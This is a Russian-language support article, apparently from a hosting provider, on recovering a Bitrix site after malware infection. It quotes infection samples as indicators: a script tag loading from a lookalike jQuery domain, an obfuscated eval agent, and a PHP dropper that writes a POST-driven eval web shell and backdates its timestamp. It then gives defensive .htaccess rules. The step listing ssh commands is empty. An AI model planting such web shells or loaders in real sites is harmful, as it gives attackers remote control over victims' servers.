Что делать, если Ваш сайт на Битрикс был заражен
Опубликовано Анастасия Иванова on 09 March 2023 11:30
|
|
Перед восстановлением сайта из архива в первую очередь скачайте архив по ссылке, предоставленной сотрудником поддержки, или воспользуйтесь инструкцией для создания архива текущих файлов сайта. Для скачивания архива рекомендуем использовать ftp доступ. Если на сервере достаточно свободного места, Вы можете переместить текущие файлы сайта и дамп бд в отдельный каталог, создав его через менеджер файлов панели Plesk. После этого Вам необходимо распаковать архив на своем компьютере и проверить его на наличие вредоносного кода.
Наиболее частые способы внедрения вредоносного кода: - заменяют index.php в корне сайта, - удаляют файл /bitrix/.settings.php, - внедрение вредоносного кода в файл bitrix/js/main/core/core.js вида "s=document.createElement(script)" - внедрение вредоносного кода в bitrix/modules/main/include/prolog.php вида "<sc ript src='https://code.jquery-uii.***/jquery-***'></sc ript>" - вредоносный скрипт также может создавать лишние файлы под видом нужных для работы сайта, например, /bitrix/components/bitrix/main.file.input/main.php или /bitrix/components/bitrix/main.file.input/set_list.php - создают скрипты Агенты с вредоносным кодом, создаются подобные агенты: - $arAgent["NAME"];eval(urldecode(strrev('b3%92%92%22%73%b6%34%a5%b6%76%34%26%86%a5%85%a5%73%b6%96%.... - $fName = str_replace('/modules/main/classes/mysql', '', dirname(__FILE__)).'/admin/composite_seminarians.php'; $files = scandir(dirname($fName)); file_put_contents($fName, '<?php V47dc049a84b(@$_POST[\'c3a1e58\']); function V47dc049a84b($I018d087c){ @eval($I018d087c); } ?> '); touch($fName, filemtime(dirname($fName).'/'.$files[2])); - создают файл /bitrix/tools/putin_***lo.php с кодом для удаленного доступа - удаляют данные из таблиц базы данных b_iblock, b_iblock_element, b_iblock_element_property - по директориям сайта могут быть раскиданы файлы .htaccess, блокирующие доступ к разделам (404 или 403 при обращении к страницам сайта): <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> Для предотвращения дальнейшего заражения дальше стоит выполнить следующие действия: - Перевести работу сайта на актуальную версию php (если это еще не сделано) Пример, как можно ограничить доступы к файлам сайта: /var/www/vhosts/domain.tld/httpdocs/bitrix/admin/.htaccess Добавляем в файле правило. Если файла нет - создаем. <Files ~ "^(site_checker)\.php$>deny from all</Files> /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/.htaccess Добавляем в файле правило. Если файла нет - создаем. <Files ~ "^(html_editor_action|mail_entry|upload)\.php$> deny from all</Files> /var/www/vhosts/domain.tld/httpdocs/bitrix/modules/main/include/.htaccess Добавляем в файле правило. Если файла нет - создаем. <Files ~ "^(virtual_file_system)\.php$> deny from all</Files> /var/www/vhosts/domain.tld/httpdocs/bitrix/components/bitrix/sender.mail.editor/.htaccess Добавляем в файле правило. Если файла нет - создаем. <Files ~ "^(ajax)\.php$> deny from all</Files> /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/vote/.htaccess <Files ~ "^(uf)\.php$> deny from all</Files> В старых версиях битрикс уязвимым местом оказался модуль vote, это модуль опросник. Для того чтобы обезопасить себя, в файле: /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/vote/uf.php над вызовом модуля вписываем: if ($_SERVER['REQUEST_METHOD'] === 'POST') { header("Status: 404 Not Found"); die(); } То же самое и в файле /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/html_editor_action.php На сервере может присутствовать вредоносный процесс, запущенный через уязвимости сайта, который автоматически может пересоздавать вредоносные скрипты. Для его поиска подключитесь к серверу по ssh и выполните следующее: “Убиваем” его с помощью команды:
После проверки и очистки файлов, их необходимо запаковать обратно в архив .zip и загрузить в корневую директорию сайта, предварительно очистив каталог от существующих файлов. После очистки корневой директории сайта убедитесь, что в ней не создаются новые файлы.
| |
|